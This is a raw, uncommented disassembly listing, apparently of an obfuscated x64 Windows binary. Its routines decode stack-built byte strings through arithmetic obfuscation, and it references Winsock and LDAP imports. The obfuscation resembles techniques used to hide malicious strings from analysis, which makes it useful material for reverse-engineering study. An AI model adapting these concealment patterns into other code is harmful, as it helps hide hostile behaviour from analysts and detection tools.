movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14012ac16
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012a757
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x14012adb0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012aabc
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14012adb0
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012aae8
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14012ad00
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012ab05
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14012a946
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14012ab22
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14012acc4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012a6b6
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14012acb0
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x5f0]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x5f0], cl
add rbx, r10
jmp 0x14012ac16
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x5f0]
add dil, dl
add dil, r8b
jmp 0x14012ad00
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012abcf
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012adbf
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14012acd7
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
jmp 0x14012ac8c
movabs rdx, 0x31bc64311980951a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x5f0], cl
add r10, r12
jmp 0x14012acd7
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r9, r12
jmp 0x14012adbf
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5f0], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x14012ad5b
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5f0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012adb0
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x5f0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012a22b
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a228
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012a218
lea rdx, [rbp + 0x1598198]
jmp 0x14012ae2e
lea rdx, [rbp + 0x16dbf56]
jmp 0x14012ae2e
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2270]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012ae60
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2270]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2270]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2270]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xa70], 0xe3
mov byte [rbp + 0xa71], 0xad
mov byte [rbp + 0xa72], 0xec
mov byte [rbp + 0xa73], 0xab
mov byte [rbp + 0xa74], recv
mov byte [rbp + 0xa75], 0xa9
mov byte [rbp + 0xa76], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa77], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xa78], 0x3d
mov byte [rbp + 0xa79], __WSAFDIsSet
mov byte [rbp + 0xa7a], 0
mov byte [rbp + 0xa7b], __WSAFDIsSet
mov byte [rbp + 0xa7c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xa7d], __WSAFDIsSet
mov byte [rbp + 0xa7e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xa7f], 0x9f
mov byte [rbp + 0xa80], 7
mov byte [rbp + 0xa81], 0x9d
mov byte [rbp + 0xa82], 5
mov byte [rbp + 0xa83], 0x9b
mov byte [rbp + 0xa84], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xa85], 0x99
mov byte [rbp + 0xa86], Ordinal_46
mov byte [rbp + 0xa87], 0x87
mov byte [rbp + 0xa88], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xa89], 0x85
mov byte [rbp + 0xa8a], Ordinal_217
mov byte [rbp + 0xa8b], 0x83
mov byte [rbp + 0xa8c], 0x3d
mov byte [rbp + 0xa8d], 0x81
mov byte [rbp + 0xa8e], Ordinal_50
mov byte [rbp + 0xa8f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xa90], Ordinal_46
mov byte [rbp + 0xa91], Ordinal_143
mov byte [rbp + 0xa92], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xa93], Ordinal_143
mov byte [rbp + 0xa94], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa95], Ordinal_143
mov byte [rbp + 0xa96], 0x64
mov byte [rbp + 0xa97], 0xf7
mov byte [rbp + 0xa98], 0x5c
mov byte [rbp + 0xa99], 0xf5
mov byte [rbp + 0xa9a], 0x62
mov byte [rbp + 0xa9b], 0xf3
mov byte [rbp + 0xa9c], 0xaa
mov byte [rbp + 0xa9d], 0xf1
mov byte [rbp + 0xa9e], 0xa2
mov byte [rbp + 0xa9f], 0xff
mov byte [rbp + 0xaa0], 0xae
mov byte [rbp + 0xaa1], 0xfd
mov byte [rbp + 0xaa2], 0x57
mov byte [rbp + 0xaa3], 0xfb
mov byte [rbp + 0xaa4], 0x60
mov byte [rbp + 0xaa5], 0xf9
mov byte [rbp + 0xaa6], Ordinal_79
mov byte [rbp + 0xaa7], 0xe7
mov byte [rbp + 0xaa8], 0xb6
mov byte [rbp + 0xaa9], 0xe5
mov byte [rbp + 0xaaa], 0x77
mov byte [rbp + 0xaab], 0xe3
mov byte [rbp + 0xaac], 0x7d
mov byte [rbp + 0xaad], 0xe1
mov byte [rbp + 0xaae], 0x47
mov byte [rbp + 0xaaf], 0xef
mov byte [rbp + 0xab0], 0xec
mov byte [rbp + 0xab1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xab2], xmm0
mov qword [rbp + 0xac2], rax
mov byte [rbp + 0xaca], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x5b
jae 0x14012bc6c
movzx r8d, byte [rbp + r9 + 0xa70]
mov r11, r8
cmp rbx, r9
ja 0x14012bc63
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012b0e9
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x4a
jmp 0x14012b12d
je 0x14012bbda
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012bb4c
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012bb14
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14012bac9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012baa0
movabs rsi, 0xfa317cbfea226b1a
cmp r10, r9
ja 0x14012bc5a
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x14012b163
movabs rdx, 0x860f3bbe34d2c922
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b197
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012ba5a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012ba3a
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012ba17
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14012b9f4
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012b6d5
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012b6b2
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14012b69e
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14012b67b
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14012b658
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012b631
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012b60e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012b5fa
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012b5d7
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14012b5c3
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012b1a4
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14012bc37
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14012bc10
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012b388
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14012b362
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14012b33b
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14012b567
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14012b50b
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14012b4bd
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012b49a
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14012b477
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14012b463
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14012b440
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14012b42c
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012b409
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14012b3f5
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14012b3d2
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14012b3af
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012b1a4
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x14012b1a4
movabs rdx, 0xd8debc3420b0271e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012b197
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x14012b12d
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b0b0
movabs rcx, 0x3079ddf1a6964910
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x14012ba78
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14012babe
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14012b82e
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14012bae7
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14012b640
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14012bb39
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14012b73e
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14012bba3
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14012bbf9
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x14012b98d
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 8]
jmp 0x14012ba78
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x14012b99a
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x14012b8cf
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14012b4db
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x14012b9c9
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x14012b7e6
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x14012b52d
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14012b712
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x14012bba3
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14012b73e
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x14012bb39
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012bb36
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14012bae7
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x14012bac1
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14012b7ce
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x14012ba78
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x14012b6fa
lea rdx, [r9 + rsi]
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012b585
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012b72a
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012bbf9
cmp rbx, rcx
jne 0x14012b756
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012bb71
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012b786
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012bae7
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012b7b2
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14012bac1
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012b585
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012babe
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012b816
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012ba78
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012b846
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14012bac1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012b872
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012bb36
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14012b89e
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x14012bb71
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14012b52d
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x14012bbf9
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012b8ec
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14012b712
cmp rbx, rcx
jne 0x14012b914
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14012bba3
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012b940
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14012bb36
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012b95d
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14012b7ce
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14012b4db
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14012ba78
mov byte [rbp + r9 + 0xa70], dil
jmp 0x14012bc08
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xa70]
add dil, dl
add dil, r8b
jmp 0x14012bae7
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xa70]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14012bb71
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x14012bba3
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x14012bb39
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14012bac1
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xa70], r8b
jmp 0x14012babe
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
add r10, r12
sub r9, r12
jmp 0x14012bc08
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dil
add cl, dl
mov byte [rbp + r9 + 0xa70], cl
jmp 0x14012bb36
movabs rdx, 0xc0205c3f0f7a9a1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012bc08
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xa70], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012bbf9
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xa70]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012b09d
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012b09a
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x14012b08a
lea rdx, [rbp + 0x15fffe8]
jmp 0x14012bc73
lea rdx, [rbp + 0x1026b02]
jmp 0x14012bc73
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0x180]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2380]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14012bca8
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x2380]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2380]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2380]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x5c0], Ordinal_60
mov byte [rbp + 0x5c1], Ordinal_143
mov byte [rbp + 0x5c2], 0x61
mov byte [rbp + 0x5c3], 0xf3
mov byte [rbp + 0x5c4], 0x5a
mov byte [rbp + 0x5c5], 0xf1
mov byte [rbp + 0x5c6], 0x62
mov byte [rbp + 0x5c7], 0xf7
mov byte [rbp + 0x5c8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5c9], 0xf5
mov byte [rbp + 0x5ca], 0x5b
mov byte [rbp + 0x5cb], 0xfb
mov byte [rbp + 0x5cc], WSACleanup
mov byte [rbp + 0x5cd], 0xf9
mov byte [rbp + 0x5ce], 0x5b
mov byte [rbp + 0x5cf], 0xff
mov byte [rbp + 0x5d0], 0x40
mov byte [rbp + 0x5d1], 0xfd
mov byte [rbp + 0x5d2], 0x59
mov byte [rbp + 0x5d3], 0xe3
mov byte [rbp + 0x5d4], Ordinal_79
mov byte [rbp + 0x5d5], 0xe1
mov byte [rbp + 0x5d6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5d7], 0xe7
mov byte [rbp + 0x5d8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5d9], 0xe5
mov byte [rbp + 0x5da], 0x7f
mov byte [rbp + 0x5db], 0xeb
mov byte [rbp + 0x5dc], 0x7a
mov byte [rbp + 0x5dd], 0xe9
mov byte [rbp + 0x5de], Ordinal_79
mov byte [rbp + 0x5df], 0xef
mov byte [rbp + 0x5e0], 0x7a
mov byte [rbp + 0x5e1], 0xed
mov byte [rbp + 0x5e2], 0x88
mov byte [rbp + 0x5e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5e4], 0x84
mov byte [rbp + 0x5e5], Ordinal_211
mov byte [rbp + 0x5e6], Ordinal_217
mov byte [rbp + 0x5e7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5e8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x14012c9c5
movzx r8d, byte [rbp + r9 + 0x5c0]
mov rdx, r8
cmp rbx, r9
ja 0x14012c9bc
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012be6c
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov al, cl
and al, dl
mov edi, Ordinal_41
sub dil, al
add dil, dil
add dil, dl
add dil, cl
jmp 0x14012beb0
je 0x14012c939
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012c8b4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c885
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012c836
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012c7e2
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14012c9b3
